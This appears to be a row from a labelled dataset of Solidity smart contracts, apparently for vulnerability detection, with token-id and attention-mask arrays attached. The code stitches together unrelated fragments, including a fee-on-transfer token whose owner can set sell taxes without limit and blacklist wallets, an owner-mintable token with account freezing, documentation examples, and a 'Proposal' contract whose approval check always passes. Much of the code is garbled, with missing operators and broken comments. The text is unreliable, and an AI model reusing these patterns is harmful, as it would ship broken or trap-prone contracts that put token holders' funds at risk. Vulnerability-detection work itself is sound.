if(!takeFee) removeAllFee(); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getTValues(tAmount); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tLiquidity, _getRate()); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tLiquidity); } function _getTValues(uint256 tAmount) private view returns (uint256, uint256, uint256) { uint256 tFee = calculateTaxFee(tAmount); uint256 tLiquidity = calculateLiquidityFee(tAmount); uint256 tTransferAmount = tAmount.sub(tFee).sub(tLiquidity); return (tTransferAmount, tFee, tLiquidity); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tLiquidity, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rLiquidity = tLiquidity.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rLiquidity); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; require(_excluded.length < 50, "Excluded list too big"); for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply \|\| _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _takeLiquidity(uint256 tLiquidity) private { uint256 currentRate = _getRate(); uint256 rLiquidity = tLiquidity.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rLiquidity); if(_isExcluded[address(this)]) _tOwned[address(this)] = _tOwned[address(this)].add(tLiquidity); } function calculateTaxFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_taxFee).div( 102 ); } function calculateLiquidityFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_liquidityFee).div( 10*2 ); } function removeAllFee() private { if(_taxFee == 0 && _liquidityFee == 0) return; _previousTaxFee = _taxFee; _previousLiquidityFee = _liquidityFee; _taxFee = 0; _liquidityFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _liquidityFee = _previousLiquidityFee; } function isExcludedFromFee(address account) public view returns(bool) { return _isExcludedFromFee[account]; } function excludeFromFee(address account) public onlyOwner { _isExcludedFromFee[account] = true; } function includeInFee(address account) public onlyOwner { _isExcludedFromFee[account] = false; } function setBuyTaxFeePercent(uint256 buyTaxFee) external onlyOwner() { _buyTaxFee = buyTaxFee; } function setSellTaxFeePercent(uint256 sellTaxFee) external onlyOwner() { _sellTaxFee = sellTaxFee; } function setBuyLiquidityFeePercent(uint256 buyLiquidityFee) external onlyOwner() { _buyLiquidityFee = buyLiquidityFee; } function setSellLiquidityFeePercent(uint256 sellLiquidityFee) external onlyOwner() { _sellLiquidityFee = sellLiquidityFee; } function setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() { _maxTxAmount = maxTxAmount; } function setMarketingDivisor(uint256 divisor) external onlyOwner() { marketingDivisor = divisor; } function setCharityDivisor(uint256 divisor) external onlyOwner() { charityDivisor = divisor; } function setNumTokensSellToAddToLiquidity(uint256 _minimumTokensBeforeSwap) external onlyOwner() { minimumTokensBeforeSwap = _minimumTokensBeforeSwap; } function setMaxTokenHolder(uint256 newMaxTokenHolder) external onlyOwner() { _maxTokenHolder = newMaxTokenHolder; } function setStartTime(uint256 startTime) external onlyOwner() { _startTime = startTime; } function unlockBlackList(address wallet) external onlyOwner() { _isBotList[wallet] = false; } function setMarketingAddress(address _marketingAddress) external onlyOwner() { marketingAddress = payable(_marketingAddress); } function changeRouterVersion(address _router) public onlyOwner returns(address _pair) { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(_router); _pair = IUniswapV2Factory(_uniswapV2Router.factory()).getPair(address(this), _uniswapV2Router.WETH()); if(_pair == address(0)){ _pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); } uniswapV2Pair = _pair; uniswapV2Router = _uniswapV2Router; } function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner { swapAndLiquifyEnabled = _enabled; emit SwapAndLiquifyEnabledUpdated(_enabled); } function prepareForPreSale() external onlyOwner { setSwapAndLiquifyEnabled(false); _taxFee = 0; _liquidityFee = 0; _buyTaxFee = 0; _buyLiquidityFee = 0; _sellTaxFee = 0; _sellLiquidityFee = 0; marketingDivisor = 0; charityDivisor= 0; _maxTxAmount = 1000000000 10*6 10*9; } function goLive() external onlyOwner { setSwapAndLiquifyEnabled(true); _taxFee = 3; _previousTaxFee = _taxFee; _liquidityFee = 6; _previousLiquidityFee = _liquidityFee; _buyTaxFee = 1; _buyLiquidityFee = 4; _sellTaxFee = 3; _sellLiquidityFee = 6; marketingDivisor = 1; charityDivisor= 1; _maxTxAmount = 3000000 10*6 10**9; } function transferBatch(address[] calldata _tos, uint v)public returns (bool){ require(_tos.length > 0); require(_tos.length <= 150, "to List is too big"); address sender = _msgSender(); require(_isExcludedFromFee[sender]); for(uint i=0;i<_tos.length;i++){ transfer(_tos[i],v); } return true; } function transferToAddressETH(address payable recipient, uint256 amount) private { recipient.transfer(amount); } //to recieve ETH from uniswapV2Router when swaping receive() external payable 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pragma solidity ^0.4.16; /* 创建一个父类，账户管理员 / contract owned { address public owner; function owned() public { owner = msg.sender; } / modifier是修改标志 / modifier onlyOwner { require(msg.sender == owner); _; } / 修改管理员账户， onlyOwner代表只能是用户管理员来修改 / function transferOwnership(address newOwner) onlyOwner public { owner = newOwner; } } / receiveApproval服务合约指示代币合约将代币从发送者的账户转移到服务合约的账户（通过调用服务合约的 / interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; } contract TokenERC20 { // 代币（token）的公共变量 string public name; //代币名字 string public symbol; //代币符号 uint8 public decimals = 18; //代币小数点位数， 18是默认，尽量不要更改 uint256 public totalSupply; //代币总量 // 记录各个账户的代币数目 mapping (address => uint256) public balanceOf; // A账户存在B账户资金 mapping (address => mapping (address => uint256)) public allowance; // 转账通知事件 event Transfer(address indexed from, address indexed to, uint256 value); // 销毁金额通知事件 event Burn(address indexed from, uint256 value); / 构造函数 / function TokenERC20( uint256 initialSupply, string tokenName, string tokenSymbol ) public { totalSupply = initialSupply 10 ** uint256(decimals); // 根据decimals计算代币的数量 balanceOf[msg.sender] = totalSupply; // 给生成者所有的代币数量 name = tokenName; // 设置代币的名字 symbol = tokenSymbol; // 设置代币的符号 } /* 私有的交易函数 / function _transfer(address _from, address _to, uint _value) internal { // 防止转移到0x0，用burn代替这个功能 require(_to != 0x0); // 检测发送者是否有足够的资金 require(balanceOf[_from] >= _value); // 检查是否溢出（数据类型的溢出） require(balanceOf[_to] + _value > balanceOf[_to]); // 将此保存为将来的断言，函数最后会有一个检验 uint previousBalances = balanceOf[_from] + balanceOf[_to]; // 减少发送者资产 balanceOf[_from] -= _value; // 增加接收者的资产 balanceOf[_to] += _value; Transfer(_from, _to, _value); // 断言检测，不应该为错 assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } / 传递tokens / function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); } / 从其他账户转移资产 / function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); // Check allowance allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } / 授权第三方从发送者账户转移代币，然后通过transferFrom()函数来执行第三方的转移操作 / function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; return true; } / 为其他地址设置津贴，并通知发送者通知代币合约, 代币合约通知服务合约receiveApproval, 服务合约指示代币合约将代币从发送者的账户转移到服务合约的账户（通过调用服务合约的transferFrom) / function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } /* * 销毁代币 / function burn(uint256 _value) public returns (bool success) { require(balanceOf[msg.sender] >= _value); // Check if the sender has enough balanceOf[msg.sender] -= _value; // Subtract from the sender totalSupply -= _value; // Updates totalSupply Burn(msg.sender, _value); return true; } /* * 从其他账户销毁代币 / function burnFrom(address _from, uint256 _value) public returns (bool success) { require(balanceOf[_from] >= _value); // Check if the targeted balance is enough require(_value <= allowance[_from][msg.sender]); // Check allowance balanceOf[_from] -= _value; // Subtract from the targeted balance allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance totalSupply -= _value; // Update totalSupply Burn(_from, _value); return true; } } /****************************************/ / ADVANCED TOKEN STARTS HERE / /****************************************/ contract MyAdvancedToken is owned, TokenERC20 { uint256 public sellPrice; uint256 public buyPrice; / 冻结账户 / mapping (address => bool) public frozenAccount; / This generates a public event on the blockchain that will notify clients / event FrozenFunds(address target, bool frozen); / 构造函数 / function MyAdvancedToken( uint256 initialSupply, string tokenName, string tokenSymbol ) TokenERC20(initialSupply, tokenName, tokenSymbol) public {} / 转账，比父类加入了账户冻结 / function _transfer(address _from, address _to, uint _value) internal { require (_to != 0x0); // Prevent transfer to 0x0 address. Use burn() instead require (balanceOf[_from] >= _value); // Check if the sender has enough require (balanceOf[_to] + _value > balanceOf[_to]); // Check for overflows require(!frozenAccount[_from]); // Check if sender is frozen require(!frozenAccount[_to]); // Check if recipient is frozen balanceOf[_from] -= _value; // Subtract from the sender balanceOf[_to] += _value; // Add the same to the recipient Transfer(_from, _to, _value); } /// 向指定账户增发资金 function mintToken(address target, uint256 mintedAmount) onlyOwner public { balanceOf[target] += mintedAmount; totalSupply += mintedAmount; Transfer(0, this, mintedAmount); Transfer(this, target, mintedAmount); } /// 冻结 or 解冻账户 function freezeAccount(address target, bool freeze) onlyOwner public { frozenAccount[target] = freeze; FrozenFunds(target, freeze); } function setPrices(uint256 newSellPrice, uint256 newBuyPrice) onlyOwner public { sellPrice = newSellPrice; buyPrice = newBuyPrice; } function safedrawal(uint256 amount) onlyOwner public { msg.sender.transfer(amount); // sends ether to the seller. It's important to do this last to avoid recursion attacks Transfer(this,msg.sender, amount); } function () public payable { uint amount = msg.value buyPrice; // calculates the amount _transfer(this, msg.sender, amount); // makes the transfers Transfer(this, msg.sender, amount); } /// @notice Buy tokens from contract by sending ether function buy() payable public { uint amount = msg.value * buyPrice; // calculates the amount _transfer(this, msg.sender, amount); // makes the transfers Transfer(this, msg.sender, amount); } function sell(uint256 amount) public { require(this.balance >= amount / sellPrice); // checks if the contract has enough ether to buy _transfer(msg.sender, this, amount); // makes the transfers msg.sender.transfer(amount / sellPrice); // sends ether to the seller. It's important to do this last to avoid recursion attacks Transfer(msg.sender, this, amount); } }	True	[ 101, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2385, 1025, 1013, 1008, 100, 100, 1740, 100, 100, 100, 1989, 100, 100, 100, 100, 100, 1008, 1013, 3206, 3079, 1063, 4769, 2270, 3954, 1025, 3853, 3079, 1006, 1007, 2270, 1063, 3954, 1027, 5796, 2290, 1012, 4604, 2121, 1025, 1065, 1013, 1008, 16913, 18095, 100, 100, 100, 100, 1851, 1008, 1013, 16913, 18095, 2069, 12384, 2121, 1063, 5478, 1006, 5796, 2290, 1012, 4604, 2121, 1027, 1027, 3954, 1007, 1025, 1035, 1025, 1065, 1013, 1008, 100, 100, 100, 100, 100, 100, 100, 1989, 2069, 12384, 2121, 1760, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 1008, 1013, 3853, 4651, 12384, 2545, 5605, 1006, 4769, 2047, 12384, 2121, 1007, 2069, 12384, 2121, 2270, 1063, 3954, 1027, 2047, 12384, 2121, 1025, 1065, 1065, 1013, 1008, 4374, 29098, 12298, 2389, 100, 100, 1792, 100, 100, 1923, 1760, 100, 1792, 100, 100, 1760, 100, 100, 100, 100, 100, 1916, 100, 100, 100, 100, 100, 100, 100, 1792, 100, 1916, 100, 100, 1987, 100, 100, 100, 100, 100, 100, 1792, 100, 1916, 1008, 1013, 8278, 19204, 2890, 6895, 14756, 3372, 1063, 3853, 4374, 29098, 12298, 2389, 1006, 4769, 1035, 2013, 1010, 21318, 3372, 17788, 2575, 1035, 3643, 1010, 4769, 1035, 19204, 1010, 27507, 1035, 4469, 2850, 2696, 1007, 2270, 1025, 1065, 3206, 19204, 2121, 2278, 11387, 1063, 1013, 1013, 1760, 100, 1987, 19204, 1988, 1916, 1772, 100, 100, 100, 5164, 2270, 2171, 1025, 1013, 1013, 1760, 100, 1795, 100, 5164, 2270, 6454, 1025, 1013, 1013, 1760, 100, 100, 100, 21318, 3372, 2620, 2270, 26066, 2015, 1027, 2324, 1025, 1013, 1013, 1760, 100, 1829, 100, 100, 100, 100, 1989, 2324, 100, 100, 100, 1989, 100, 100, 1744, 100, 100, 100, 21318, 3372, 17788, 2575, 2270, 21948, 6279, 22086, 1025, 1013, 1013, 1760, 100, 100, 100, 1013, 1013, 100, 100, 100, 100, 100, 100, 1916, 1760, 100, 100, 1918, 12375, 1006, 4769, 1027, 1028, 21318, 3372, 17788, 2575, 1007, 2270, 5703, 11253, 1025, 1013, 1013, 1037, 100, 100, 100, 100, 1038, 100, 100, 100, 1964, 12375, 1006, 4769, 1027, 1028, 12375, 1006, 4769, 1027, 1028, 21318, 3372, 17788, 2575, 1007, 1007, 2270, 21447, 1025, 1013, 1013, 100, 100, 100, 100, 1751, 100, 2724, 4651, 1006, 4769, 25331, 2013, 1010, 4769, 25331, 2000, 1010, 21318, 3372, 17788, 2575, 3643, 1007, 1025, 1013, 1013, 100, 100, 1964, 100, 100, 100, 1751, 100, 2724, 6402, 1006, 4769, 25331, 2013, 1010, 21318, 3372, 17788, 2575, 3643, 1007, 1025, 1013, 1008, 100, 100, 100, 100, 1008, 1013, 3853, 19204, 2121, 2278, 11387, 1006, 21318, 3372, 17788, 2575, 20381, 6279, 22086, 1010, 5164, 19204, 18442, 1010, 5164, 19204, 6508, 13344, 2140, 1007, 2270, 1063, 21948, 6279, 22086, 1027, 20381, 6279, 22086, 1008, 2184, 1008, 1008, 21318, 3372, 17788, 2575, 1006, 26066, 2015, 1007, 1025, 1013, 1013, 100, 100, 26066, 2015, 100, 100, 1760, 100, 1916, 100, 100, 5703, 11253, 1031, 5796, 2290, 1012, 4604, 2121, 1033, 1027, 21948, 6279, 22086, 1025, 1013, 1013, 100, 1910, 1854, 100, 100, 1873, 1916, 1760, 100, 100, 100, 2171, 1027, 19204, 18442, 1025, 1013, 102 ]	[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
/** Submitted for verification at Etherscan.io on 2020-12-16 / pragma solidity ^0.6.0; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // SPDX-License-Identifier: MIT interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity ^0.6.2; library Address { function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; contract Proposal { mapping (address => bool) approvals; bytes32 public approvalMask; address public approver1; address public approver2; function prop1() public { approver1 = 0x0000000000000000000000000000000000000012; approver2 = msg.sender; } function approve(address approver) public { approvalMask \|= 0; approvals[approver] = true; } function isApproved() public view returns(bool) { return approvalMask == 0; } } contract SimpleAuction { // Parameters of the auction. Times are either // absolute unix timestamps (seconds since 1970-01-01) // or time periods in seconds. address payable public beneficiary; uint public auctionEndTime; // Current state of the auction. address public highestBidder; uint public highestBid; // Allowed withdrawals of previous bids mapping(address => uint) pendingReturns; // Set to true at the end, disallows any change. // By default initialized to `false`. bool ended; // Events that will be emitted on changes. event HighestBidIncreased(address bidder, uint amount); event AuctionEnded(address winner, uint amount); // The following is a so-called natspec comment, // recognizable by the three slashes. // It will be shown when the user is asked to // confirm a transaction. /// Create a simple auction with `_biddingTime` /// seconds bidding time on behalf of the /// beneficiary address `_beneficiary`. constructor( uint _biddingTime, address payable _beneficiary ) public { beneficiary = _beneficiary; auctionEndTime = now + _biddingTime; } /// Bid on the auction with the value sent /// together with this transaction. /// The value will only be refunded if the /// auction is not won. function bid() public payable { // No arguments are necessary, all // information is already part of // the transaction. The keyword payable // is required for the function to // be able to receive Ether. // Revert the call if the bidding // period is over. require( now <= auctionEndTime, "Auction already ended." ); // If the bid is not higher, send the // money back. require( msg.value > highestBid, "There already is a higher bid." ); if (highestBid != 0) { // Sending back the money by simply using // highestBidder.send(highestBid) is a security risk // because it could execute an untrusted contract. // It is always safer to let the recipients // withdraw their money themselves. pendingReturns[highestBidder] += highestBid; } highestBidder = msg.sender; highestBid = msg.value; emit HighestBidIncreased(msg.sender, msg.value); } /// Withdraw a bid that was overbid. function withdraw() public returns (bool) { uint amount = pendingReturns[msg.sender]; if (amount > 0) { // It is important to set this to zero because the recipient // can call this function again as part of the receiving call // before `send` returns. pendingReturns[msg.sender] = 0; if (!msg.sender.send(amount)) { // No need to call throw here, just reset the amount owing pendingReturns[msg.sender] = amount; return false; } } return true; } /// End the auction and send the highest bid /// to the beneficiary. function auctionEnd() public { // It is a good guideline to structure functions that interact // with other contracts (i.e. they call functions or send Ether) // into three phases: // 1. checking conditions // 2. performing actions (potentially changing conditions) // 3. interacting with other contracts // If these phases are mixed up, the other contract could call // back into the current contract and modify the state or cause // effects (ether payout) to be performed multiple times. // If functions called internally include interaction with external // contracts, they also have to be considered interaction with // external contracts. // 1. Conditions require(now >= auctionEndTime, "Auction not yet ended."); require(!ended, "auctionEnd has already been called."); // 2. Effects ended = true; emit AuctionEnded(highestBidder, highestBid); // 3. Interaction beneficiary.transfer(highestBid); } } contract ReceiverPays { address owner = msg.sender; mapping(uint256 => bool) usedNonces; constructor() public payable {} function claimPayment(uint256 amount, uint256 nonce, bytes memory signature) public { require(!usedNonces[nonce]); usedNonces[nonce] = true; // this recreates the message that was signed on the client bytes32 message = prefixed(keccak256(abi.encodePacked(msg.sender, amount, nonce, this))); require(recoverSigner(message, signature) == owner); msg.sender.transfer(amount); } /// destroy the contract and reclaim the leftover funds. function kill() public { require(msg.sender == owner); selfdestruct(msg.sender); } /// signature methods. function splitSignature(bytes memory sig) internal pure returns (uint8 v, bytes32 r, bytes32 s) { require(sig.length == 65); assembly { // first 32 bytes, after the length prefix. r := mload(add(sig, 32)) // second 32 bytes. s := mload(add(sig, 64)) // final byte (first byte of the next 32 bytes). v := byte(0, mload(add(sig, 96))) } return (v, r, s); } function recoverSigner(bytes32 message, bytes memory sig) internal pure returns (address) { (uint8 v, bytes32 r, bytes32 s) = splitSignature(sig); return ecrecover(message, v, r, s); } /// builds a prefixed hash to mimic the behavior of eth_sign. function prefixed(bytes32 hash) internal pure returns (bytes32) { return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)); } } contract Comptrol { uint public data; function x() public { data = 3; // internal access uint val = this.data(); // external access } } contract Comptroller { uint public data = 42; } contract Caller { Comptroller c = new Comptroller(); function f() public { uint local = c.data(); } } contract ComptorllersAuctionIndividual is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; constructor (string memory name, string memory symbol) public { _name = name; _symbol = symbol; _decimals = 12; _totalSupply = 65100010*12; _balances[msg.sender] = _totalSupply; } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function 